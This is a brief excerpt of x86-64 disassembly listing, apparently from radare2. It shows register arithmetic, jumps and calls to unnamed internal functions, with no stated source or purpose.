jmp 0x1400c75a0
sub r11b, 0x37
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x7f
jmp 0x1400c7590
mov eax, dword [rbp + 0x1470c5c]
jmp 0x1400c7ea1
mov eax, dword [rbp + 0x158f31f]
jmp 0x1400c7ea1
mov eax, dword [rbp + 0x158]
cdqe
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x70]
call fcn.14005a290
mov rcx, rax
call fcn.14005a300
nop
lea rcx, [rbp + 0x980]
call fcn.1400037f0
nop
lea rcx, [rbp + 0x938]
call fcn.140002800
nop
lea rcx, [rbp + 0x958]
call fcn.140002800
jmp 0x1400c5e03
call fcn.140069760
int3